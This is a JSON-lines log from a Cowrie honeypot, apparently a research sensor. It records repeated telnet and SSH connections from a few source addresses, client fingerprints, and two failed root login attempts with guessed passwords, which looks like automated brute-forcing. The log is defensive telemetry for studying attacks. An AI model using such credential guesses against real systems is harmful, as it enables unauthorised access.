{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41086,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c69a1e66ee","protocol":"telnet","message":"New connection: 161.132.53.68:41086 (159.203.135.109:23) [session: d2c69a1e66ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:05.406036Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54266,"dst_ip":"159.203.135.109","dst_port":23,"session":"63699825e5e0","protocol":"telnet","message":"New connection: 174.142.104.49:54266 (159.203.135.109:23) [session: 63699825e5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:05.472397Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:05.558131Z","src_ip":"88.205.172.170","session":"2bb8825e91d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21478033065796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:05.694269Z","src_ip":"174.142.104.49","session":"0bb27c0a4cf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11281442642212,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:05.986095Z","src_ip":"174.142.104.49","session":"b5180cd62039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57758,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d66f2b59561","protocol":"telnet","message":"New connection: 174.142.104.49:57758 (159.203.135.109:23) [session: 9d66f2b59561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:06.355724Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60156,"dst_ip":"159.203.135.109","dst_port":23,"session":"96d103f2b6cf","protocol":"telnet","message":"New connection: 174.142.104.49:60156 (159.203.135.109:23) [session: 96d103f2b6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:07.581192Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33700,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c56df75c69d","protocol":"telnet","message":"New connection: 174.142.104.49:33700 (159.203.135.109:23) [session: 5c56df75c69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:08.678136Z"}
{"eventid":"cowrie.session.closed","duration":30.804307222366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:09.295867Z","src_ip":"174.142.104.49","session":"ddc0697138ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36882,"dst_ip":"159.203.135.109","dst_port":23,"session":"467e1e6b32cd","protocol":"telnet","message":"New connection: 174.142.104.49:36882 (159.203.135.109:23) [session: 467e1e6b32cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:10.701056Z"}
{"eventid":"cowrie.session.closed","duration":31.742637872695923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:11.032125Z","src_ip":"174.142.104.49","session":"b1b8f590c46b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40896,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ad6635bc51","protocol":"telnet","message":"New connection: 174.142.104.49:40896 (159.203.135.109:23) [session: 84ad6635bc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:13.008128Z"}
{"eventid":"cowrie.session.closed","duration":41.61533260345459,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:13.105584Z","src_ip":"174.142.104.49","session":"e61e9c0ed5de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d032849f90","protocol":"telnet","message":"New connection: 174.142.104.49:40220 (159.203.135.109:23) [session: d1d032849f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:13.689595Z"}
{"eventid":"cowrie.session.closed","duration":13.412923812866211,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:14.308689Z","src_ip":"103.120.221.14","session":"bf42beaee99b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30378723144531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:14.337193Z","src_ip":"161.132.53.68","session":"2fbbdb9e190a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45004,"dst_ip":"159.203.135.109","dst_port":23,"session":"648be2d11708","protocol":"telnet","message":"New connection: 174.142.104.49:45004 (159.203.135.109:23) [session: 648be2d11708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:15.569960Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56416,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4c942f73b4c","protocol":"telnet","message":"New connection: 161.132.53.68:56416 (159.203.135.109:23) [session: c4c942f73b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:15.647933Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":44042,"dst_ip":"159.203.135.109","dst_port":22,"session":"a183254400fc","protocol":"ssh","message":"New connection: 165.154.6.69:44042 (159.203.135.109:22) [session: a183254400fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.214872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.222724Z","src_ip":"165.154.6.69","session":"a183254400fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46278,"dst_ip":"159.203.135.109","dst_port":23,"session":"45fdec4c161e","protocol":"telnet","message":"New connection: 174.142.104.49:46278 (159.203.135.109:23) [session: 45fdec4c161e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.418446Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.437370Z","src_ip":"165.154.6.69","session":"a183254400fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.869288682937622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.543528Z","src_ip":"161.132.53.68","session":"2ebfdc315501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56418,"dst_ip":"159.203.135.109","dst_port":23,"session":"360d9b282221","protocol":"telnet","message":"New connection: 161.132.53.68:56418 (159.203.135.109:23) [session: 360d9b282221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.644758Z"}
{"eventid":"cowrie.session.closed","duration":30.640446662902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:16.692979Z","src_ip":"174.142.104.49","session":"10862c8dba0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020843982696533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:17.183791Z","src_ip":"174.142.104.49","session":"d1853475d6cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47578,"dst_ip":"159.203.135.109","dst_port":23,"session":"69402c2f6bdc","protocol":"telnet","message":"New connection: 174.142.104.49:47578 (159.203.135.109:23) [session: 69402c2f6bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:17.216967Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123@","message":"login attempt [root/qaz123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:17.327058Z","src_ip":"165.154.6.69","session":"a183254400fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35628628730774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:18.205705Z","src_ip":"174.142.104.49","session":"a3563674d475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11138463020325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:18.250997Z","src_ip":"174.142.104.49","session":"04fbb217bdb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b4689ab511d","protocol":"telnet","message":"New connection: 174.142.104.49:49344 (159.203.135.109:23) [session: 3b4689ab511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:18.256068Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:18.543678Z","src_ip":"165.154.6.69","session":"a183254400fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53126,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc617af2c321","protocol":"telnet","message":"New connection: 174.142.104.49:53126 (159.203.135.109:23) [session: cc617af2c321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:20.399651Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54394,"dst_ip":"159.203.135.109","dst_port":23,"session":"e83d68a0ba71","protocol":"telnet","message":"New connection: 174.142.104.49:54394 (159.203.135.109:23) [session: e83d68a0ba71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:21.134284Z"}
{"eventid":"cowrie.session.closed","duration":31.262871980667114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:22.059351Z","src_ip":"174.142.104.49","session":"920d26ef5001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":46258,"dst_ip":"159.203.135.109","dst_port":22,"session":"b95a5b362dd9","protocol":"ssh","message":"New connection: 200.105.172.184:46258 (159.203.135.109:22) [session: b95a5b362dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:22.984364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:22.989671Z","src_ip":"200.105.172.184","session":"b95a5b362dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:23.105856Z","src_ip":"200.105.172.184","session":"b95a5b362dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78543257713318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:23.300769Z","src_ip":"174.142.104.49","session":"fb5425033a60","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123$%^","message":"login attempt [root/Asd123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:23.596864Z","src_ip":"200.105.172.184","session":"b95a5b362dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54588,"dst_ip":"159.203.135.109","dst_port":23,"session":"f987567c72d9","protocol":"telnet","message":"New connection: 174.142.104.49:54588 (159.203.135.109:23) [session: f987567c72d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:24.331051Z"}
{"eventid":"cowrie.session.closed","duration":31.28343367576599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:24.581527Z","src_ip":"174.142.104.49","session":"37134ce970b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:24.715410Z","src_ip":"200.105.172.184","session":"b95a5b362dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.42127728462219,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:24.890473Z","src_ip":"174.142.104.49","session":"68a21a37b678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33138,"dst_ip":"159.203.135.109","dst_port":23,"session":"038d441b5e2b","protocol":"telnet","message":"New connection: 174.142.104.49:33138 (159.203.135.109:23) [session: 038d441b5e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:25.315606Z"}
{"eventid":"cowrie.session.closed","duration":31.625452995300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:25.395619Z","src_ip":"161.132.53.68","session":"8fc8cf0141cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56830,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa3d86f22fc5","protocol":"telnet","message":"New connection: 174.142.104.49:56830 (159.203.135.109:23) [session: aa3d86f22fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:25.565478Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34554,"dst_ip":"159.203.135.109","dst_port":23,"session":"880f33aa579f","protocol":"telnet","message":"New connection: 174.142.104.49:34554 (159.203.135.109:23) [session: 880f33aa579f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:25.609611Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"7599ce6d4df8","protocol":"telnet","message":"New connection: 174.142.104.49:32928 (159.203.135.109:23) [session: 7599ce6d4df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:26.158424Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34648,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c8193b1d203","protocol":"telnet","message":"New connection: 174.142.104.49:34648 (159.203.135.109:23) [session: 7c8193b1d203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:26.257222Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38778,"dst_ip":"159.203.135.109","dst_port":23,"session":"1868b4a4c09d","protocol":"telnet","message":"New connection: 161.132.53.68:38778 (159.203.135.109:23) [session: 1868b4a4c09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:26.941699Z"}
{"eventid":"cowrie.session.closed","duration":35.87013602256775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:27.708134Z","src_ip":"161.132.53.68","session":"ac16eb13a635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.805617332458496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:28.198226Z","src_ip":"174.142.104.49","session":"6c67e46bce15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33014,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d1c6a63996","protocol":"telnet","message":"New connection: 174.142.104.49:33014 (159.203.135.109:23) [session: 62d1c6a63996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:28.230636Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56050,"dst_ip":"10.17.0.5","dst_port":23,"session":"acecd71c76a3","protocol":"telnet","message":"New connection: 104.245.105.2:56050 (10.17.0.5:23) [session: acecd71c76a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:28.305451Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60024,"dst_ip":"159.203.135.109","dst_port":23,"session":"f802e4f0b366","protocol":"telnet","message":"New connection: 174.142.104.49:60024 (159.203.135.109:23) [session: f802e4f0b366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:28.553713Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39310,"dst_ip":"159.203.135.109","dst_port":23,"session":"69c8339650fb","protocol":"telnet","message":"New connection: 174.142.104.49:39310 (159.203.135.109:23) [session: 69c8339650fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:29.010795Z"}
{"eventid":"cowrie.session.closed","duration":31.825125694274902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:29.178864Z","src_ip":"174.142.104.49","session":"bd87145cc0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009581565856934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:30.373180Z","src_ip":"174.142.104.49","session":"ea63d69cb1ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43284,"dst_ip":"159.203.135.109","dst_port":23,"session":"57216bb71075","protocol":"telnet","message":"New connection: 174.142.104.49:43284 (159.203.135.109:23) [session: 57216bb71075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:31.343930Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11002e65ef7","protocol":"telnet","message":"New connection: 174.142.104.49:58140 (159.203.135.109:23) [session: e11002e65ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:31.497558Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44940,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ea554f339f","protocol":"telnet","message":"New connection: 174.142.104.49:44940 (159.203.135.109:23) [session: 37ea554f339f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:32.406316Z"}
{"eventid":"cowrie.session.closed","duration":39.96303844451904,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:32.720667Z","src_ip":"174.142.104.49","session":"2e8650785142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117660760879517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:35.603337Z","src_ip":"174.142.104.49","session":"958e6952847c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43316912651062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:35.794795Z","src_ip":"174.142.104.49","session":"a64f19be3da8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.453784704208374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:35.949840Z","src_ip":"174.142.104.49","session":"cb2fad4e9496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088878631591797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:36.560994Z","src_ip":"174.142.104.49","session":"63699825e5e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58497405052185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:36.990864Z","src_ip":"161.132.53.68","session":"d2c69a1e66ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55004334449768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:37.905671Z","src_ip":"174.142.104.49","session":"9d66f2b59561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57908,"dst_ip":"159.203.135.109","dst_port":23,"session":"98853d7e6181","protocol":"telnet","message":"New connection: 174.142.104.49:57908 (159.203.135.109:23) [session: 98853d7e6181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:39.720261Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33074,"dst_ip":"159.203.135.109","dst_port":23,"session":"e961cc5c3cf7","protocol":"telnet","message":"New connection: 174.142.104.49:33074 (159.203.135.109:23) [session: e961cc5c3cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:39.828723Z"}
{"eventid":"cowrie.session.closed","duration":0.004965782165527344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:39.833553Z","src_ip":"174.142.104.49","session":"e961cc5c3cf7","protocol":"telnet"}
